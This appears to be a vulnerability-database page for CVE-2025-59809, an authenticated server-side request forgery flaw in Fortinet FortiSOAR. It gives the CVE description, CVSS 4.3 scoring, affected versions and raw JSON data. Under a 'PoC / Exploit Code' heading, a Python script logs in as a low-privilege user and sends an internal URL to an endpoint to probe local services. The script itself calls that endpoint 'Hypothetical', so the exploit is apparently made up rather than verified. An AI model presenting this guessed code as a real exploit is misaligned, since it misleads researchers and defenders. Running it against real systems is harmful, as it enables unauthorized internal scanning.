Security Vulnerability Report
中文
CVE-2025-59809 CVSS 4.3 MEDIUM

CVE-2025-59809

Published: 2026-04-14 16:16:31
Last Modified: 2026-05-06 16:05:49

Description

A server-side request forgery (ssrf) vulnerability [CWE-918] vulnerability in Fortinet FortiSOAR PaaS 7.6.4, FortiSOAR PaaS 7.6.0 through 7.6.2, FortiSOAR PaaS 7.5.0 through 7.5.2, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.4, FortiSOAR on-premise 7.6.0 through 7.6.2, FortiSOAR on-premise 7.5.0 through 7.5.2, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow an authenticated attacker to discover services running on local ports via crafted requests.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisoar:7.6.4:*:*:*:*:*:*:* - VULNERABLE
FortiSOAR PaaS 7.3.0 - 7.3.x
FortiSOAR PaaS 7.4.0 - 7.4.x
FortiSOAR PaaS 7.5.0 - 7.5.2
FortiSOAR PaaS 7.6.0 - 7.6.4
FortiSOAR 本地部署 7.3.0 - 7.3.x
FortiSOAR 本地部署 7.4.0 - 7.4.x
FortiSOAR 本地部署 7.5.0 - 7.5.2
FortiSOAR 本地部署 7.6.0 - 7.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_host = "https://<fortisoar-ip>" vulnerable_endpoint = "/api/rest/endpoint" # Hypothetical endpoint based on SSRF nature # Attacker credentials (Low privilege required) username = "low_priv_user" password = "password" # Internal target to scan (e.g., localhost port 8080) internal_target = "http://127.0.0.1:8080" def exploit_ssrf(): session = requests.Session() # 1. Authenticate login_url = f"{target_host}/login" login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # 2. Send malicious payload # The payload injects the internal URL into a parameter vulnerable to SSRF exploit_url = f"{target_host}{vulnerable_endpoint}" payload = { "config_url": internal_target, # Parameter controlled by attacker "action": "test" } try: response = session.post(exploit_url, json=payload, verify=False) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") if "Connection refused" not in response.text and response.status_code != 404: print("[+] Internal service detected or SSRF successful") else: print("[-] Service might be down or filtered") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_ssrf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59809", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:31.103", "lastModified": "2026-05-06T16:05:48.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A server-side request forgery (ssrf) vulnerability [CWE-918] vulnerability in Fortinet FortiSOAR PaaS 7.6.4, FortiSOAR PaaS 7.6.0 through 7.6.2, FortiSOAR PaaS 7.5.0 through 7.5.2, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.4, FortiSOAR on-premise 7.6.0 through 7.6.2, FortiSOAR on-premise 7.5.0 through 7.5.2, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow an authenticated attacker to discover services running on local ports via crafted requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.3.0", "versionEndExcluding": "7.5.3", "matchCriteriaId": "CD42D7DF-B095-44E1-B7E1-D203678DF740"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.3", "matchCriteriaId": "9F88A820-7AAA-49BB-87AB-E93693B9889F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:7.6.4:*:*:*:*:*:*:*", "matchCriteriaId": "18CF14F5-B330-4125-98FA-C3A0F042358F"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-103", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}